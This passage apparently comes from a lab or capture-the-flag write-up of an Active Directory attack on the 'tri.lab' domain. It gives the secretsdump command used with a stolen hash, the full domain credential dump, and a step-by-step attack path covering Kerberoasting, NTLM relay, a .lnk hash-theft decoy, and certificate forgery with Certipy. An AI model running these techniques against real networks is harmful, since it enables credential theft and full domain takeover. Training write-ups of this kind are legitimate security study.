The forged golden certificate authenticated as j.reed_adm and yielded both a TGT and its NT hash.

Recovered credentials:

j.reed_adm NT hash: aad3b435b51404eeaad3b435b51404ee:213846abdca7279a77229f6b422263fe

Post-Exploitation

Used the j.reed_adm hash against the Domain Controller to dump all domain secrets.

impacket-secretsdump -hashes ':213846abdca7279a77229f6b422263fe' j.reed_adm@RUN-SRV.tri.lab
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x068696a3c09b87f853a9c2c8399cfbe0
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:47a7fbb0dcf9ab80dd948a4963afd0c3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
TRI\RUN-SRV$:aes256-cts-hmac-sha1-96:40a00783f50de2a2b9a962c0c52938bc306bf51df75fa61ca2359f68a549d267
TRI\RUN-SRV$:aes128-cts-hmac-sha1-96:ce44fb6259da963fd322c4b4fe891304
TRI\RUN-SRV$:des-cbc-md5:6ba8611ff18c6749
TRI\RUN-SRV$:plain_password_hex:5c3b73c8faa1a01a10a24f8de567530fd0d2169998120830fcb2ccb4701da02626dd1613962239f35473ef4e3e4cad9fa4fb55cc4e73c70786b18ab63dd3706afa9ad8f7200ed3086465e1248ef6c49b84f0aaebea108dfaec199831fd552d0255aaac33901ea5fd96245bc04eaf68f470f53390c646a223af4f1d637132fa3fe6ee54523d43f215517af2ae4299940f2b1d22715f89e70134878811083821d39d1eeaf86031449a2d5532de5e8fdec8eaaa76116c7bad60c344d0d11b5bafb1d7a68f19d843d7661361e7e057382848dcbaa5dd0e4aa1bf12e3fc29f49100ac7f3177eec44ee0c4588d5e286f2e776d
TRI\RUN-SRV$:aad3b435b51404eeaad3b435b51404ee:84d88395ba16125253cb9b84772902ab:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xed3adb080a04b32512a26fa060d92afd184eef0f
dpapi_userkey:0xd529b68f274e30173be4661c707acfe993488f99
[*] NL$KM 
 0000   B6 96 C7 7E 17 8A 0C DD  8C 39 C2 0A A2 91 24 44   ...~.....9....$D
 0010   A2 E4 4D C2 09 59 46 C0  7F 95 EA 11 CB 7F CB 72   ..M..YF........r
 0020   EC 2E 5A 06 01 1B 26 FE  6D A7 88 0F A5 E7 1F A5   ..Z...&.m.......
 0030   96 CD E5 3F A0 06 5E C1  A5 01 A1 CE 8C 24 76 95   ...?..^......$v.
NL$KM:b696c77e178a0cdd8c39c20aa2912444a2e44dc2095946c07f95ea11cb7fcb72ec2e5a06011b26fe6da7880fa5e71fa596cde53fa0065ec1a501a1ce8c247695
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:183d35a34c9741693912242ec48f9930:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3e51ec78e8a47ef55791dad0f752aa69:::
tri.lab\t.spivey:1103:aad3b435b51404eeaad3b435b51404ee:aaf895b31116d312a414dab0c45e0ba2:::
tri.lab\j.reed:1104:aad3b435b51404eeaad3b435b51404ee:405c3b0e8ab6887b49064708c9277caf:::
tri.lab\e.ackerlund:1105:aad3b435b51404eeaad3b435b51404ee:35393dfc46f632e8e98830ac911779bb:::
tri.lab\m.pearson:1106:aad3b435b51404eeaad3b435b51404ee:40d6f296d7a84f7a52d37b5fd8cba80a:::
tri.lab\j.reed_adm:1109:aad3b435b51404eeaad3b435b51404ee:213846abdca7279a77229f6b422263fe:::
RUN-SRV$:1000:aad3b435b51404eeaad3b435b51404ee:84d88395ba16125253cb9b84772902ab:::
BIKE-SRV$:1107:aad3b435b51404eeaad3b435b51404ee:efe9442e5565fef48ba786cdd5ad9af1:::
SWIM-SRV$:1108:aad3b435b51404eeaad3b435b51404ee:184c59cba7d96abc6f9cae33bb754dea:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:68c66583af74db980ed81819b73483e61e4ac868f6c3914d4b970e3172b909ec
Administrator:aes128-cts-hmac-sha1-96:fd0b56826348b562f01542ad773de83b
Administrator:des-cbc-md5:d04cda80bc2aea20
krbtgt:aes256-cts-hmac-sha1-96:7cabb69c76abcd6fa80d5ff4fb13f43c08866a1276d885d57a912218524f052a
krbtgt:aes128-cts-hmac-sha1-96:41562765f40beb454a36650a1d711b8c
krbtgt:des-cbc-md5:e6b03461c46eaea8
tri.lab\t.spivey:aes256-cts-hmac-sha1-96:c554525e38a131128c4a40abaf44ece9c60d243c31450ef3348ddba94d99c2e5
tri.lab\t.spivey:aes128-cts-hmac-sha1-96:adf0de851fce0d40ae3f54fe94b5ae73
tri.lab\t.spivey:des-cbc-md5:26bac407d9c4dcc2
tri.lab\j.reed:aes256-cts-hmac-sha1-96:ed7494562374f5b38b638eda32cc9acf7afc34b7d3257a9dbc8e5d8b1b2d3f17
tri.lab\j.reed:aes128-cts-hmac-sha1-96:b280afaac60d822e2852bcf4e4a0f9b3
tri.lab\j.reed:des-cbc-md5:973864208675c137
tri.lab\e.ackerlund:aes256-cts-hmac-sha1-96:1f0be908adf5f514609b448ac15f61edacabdc1d200911eda818ba47d8cbd3f6
tri.lab\e.ackerlund:aes128-cts-hmac-sha1-96:ddc606facf541d72c1e6889ea3ea7118
tri.lab\e.ackerlund:des-cbc-md5:1023757f64bf8f70
tri.lab\m.pearson:aes256-cts-hmac-sha1-96:0c885b356b0579923b8be2dcc0df6eb43cbd911a433139d786c9892368d0b0b8
tri.lab\m.pearson:aes128-cts-hmac-sha1-96:677572e9540f6614dcda6cc88140016d
tri.lab\m.pearson:des-cbc-md5:b5b3bce667abb9ea
tri.lab\j.reed_adm:aes256-cts-hmac-sha1-96:0f7ff389a56d0455e4fed3484afd7f76df0486e2fe8f6cbfb0aaa5ebdc7dc577
tri.lab\j.reed_adm:aes128-cts-hmac-sha1-96:8455f9bf57b9bbc5089283ab459fb3c7
tri.lab\j.reed_adm:des-cbc-md5:6832dc1616eae0fb
RUN-SRV$:aes256-cts-hmac-sha1-96:40a00783f50de2a2b9a962c0c52938bc306bf51df75fa61ca2359f68a549d267
RUN-SRV$:aes128-cts-hmac-sha1-96:ce44fb6259da963fd322c4b4fe891304
RUN-SRV$:des-cbc-md5:bcb6763b70ba2501
BIKE-SRV$:aes256-cts-hmac-sha1-96:4e89b072bd9aed704bc5970b972cef345a77b2991fe83df91800c8b505e09290
BIKE-SRV$:aes128-cts-hmac-sha1-96:3e44db033a95a095ae54b71cfe9e647e
BIKE-SRV$:des-cbc-md5:f81532cd2657abd3
SWIM-SRV$:aes256-cts-hmac-sha1-96:3866dbb5166a0487d3c4e01211e5ad1873c8d1afbe6b334079829212992af5b3
SWIM-SRV$:aes128-cts-hmac-sha1-96:6f5ec0a4bf2294ef2aca4113b394e658
SWIM-SRV$:des-cbc-md5:831362ba4c204fab

Full domain compromise: SAM, LSA secrets, and NTDS.DIT secrets recovered for every account in tri.lab, including Administrator and krbtgt.

Attack Path Summary

Port scans identified 3 domain-joined hosts: RUN-SRV (DC), BIKE-SRV (IIS), SWIM-SRV
↓
BIKE-SRV web prompt observed ("Goose_luvs_crocs"); no direct web foothold
↓
Kerbrute enumerated 3 valid usernames: m.pearson, j.reed, t.spivey
↓
AS-REP Roasted t.spivey — hash did not crack against rockyou
↓
Pivoted via GetUserSPNs -no-preauth to hunt for Kerberoastable accounts: recovered a TGS hash for j.reed
↓
Cracked the TGS hash with Hashcat + best66.rule: j.reed:Utah123
↓
Enumerated shares as j.reed; found writable TransitionZone$ on SWIM-SRV
↓
Planted an NTLM-theft decoy (.lnk) on the writable share
↓
Responder captured a NetNTLMv2 hash for e.ackerlund — did not crack offline
↓
Relayed the live authentication with ntlmrelayx to BIKE-SRV; dumped local SAM, recovered local Administrator NTLM hash
↓
Pass-the-hash confirmed local admin on BIKE-SRV
↓
Cracked a DCC2 hash for m.pearson with Hashcat: m.pearson:2silver
↓
m.pearson had local admin on SWIM-SRV, host of the tri-CA certificate authority
↓
Certipy backed up the CA's private key, forged a certificate for j.reed_adm
↓
Authenticated with the forged certificate, recovering j.reed_adm's NT hash and a TGT
↓
secretsdump against the DC with j.reed_adm's hash dumped the entire domain (NTDS.DIT)

Credentials Found

Principal	Credential	Source
`t.spivey`	AS-REP hash (uncracked)	AS-REP Roast — Hashcat exhausted `rockyou.txt`
`j.reed`	`Utah123`	Kerberoast (self-SPN) TGS-REP hash cracked with Hashcat + `best66.rule`
`e.ackerlund`	NetNTLMv2 hash (uncracked)	Captured via Responder after NTLM-theft decoy on `TransitionZone$`; Hashcat exhausted `rockyou.txt`
`BIKE-SRV\Administrator`	`9a6434f863c1835d5f1baf39a544ad57` (NTLM)	Relayed `e.ackerlund` auth with `ntlmrelayx` → local SAM dump
`m.pearson`	`2silver`	DCC2 (mscache2) hash cracked with Hashcat (`rockyou.txt`)
`j.reed_adm`	`213846abdca7279a77229f6b422263fe` (NTLM) + TGT	Forged golden certificate (Certipy) via `certipy-ad auth`
Full domain (`Administrator`, `krbtgt`, all users, all machine accounts)	NTLM + Kerberos keys	`impacket-secretsdump` against `RUN-SRV` using `j.reed_adm`’s hash

Tools Used

Nmap
Kerbrute
NetExec / nxc
Hashcat
Impacket (GetUserSPNs, ntlmrelayx, secretsdump)
smbclient
ntlm_theft
Responder
Certipy

Triathlon

Target Information

Enumeration

Port Scans

Web Enumeration

OSINT — Username Wordlist

Username Enumeration

Initial Access

AS-REP Roasting

Kerberoasting

Post-Foothold Enumeration

Lateral Movement

NTLM Coercion via Writable Share

NTLM Relay

Credential Discovery

Privilege Escalation

Post-Exploitation

Attack Path Summary

Credentials Found

Tools Used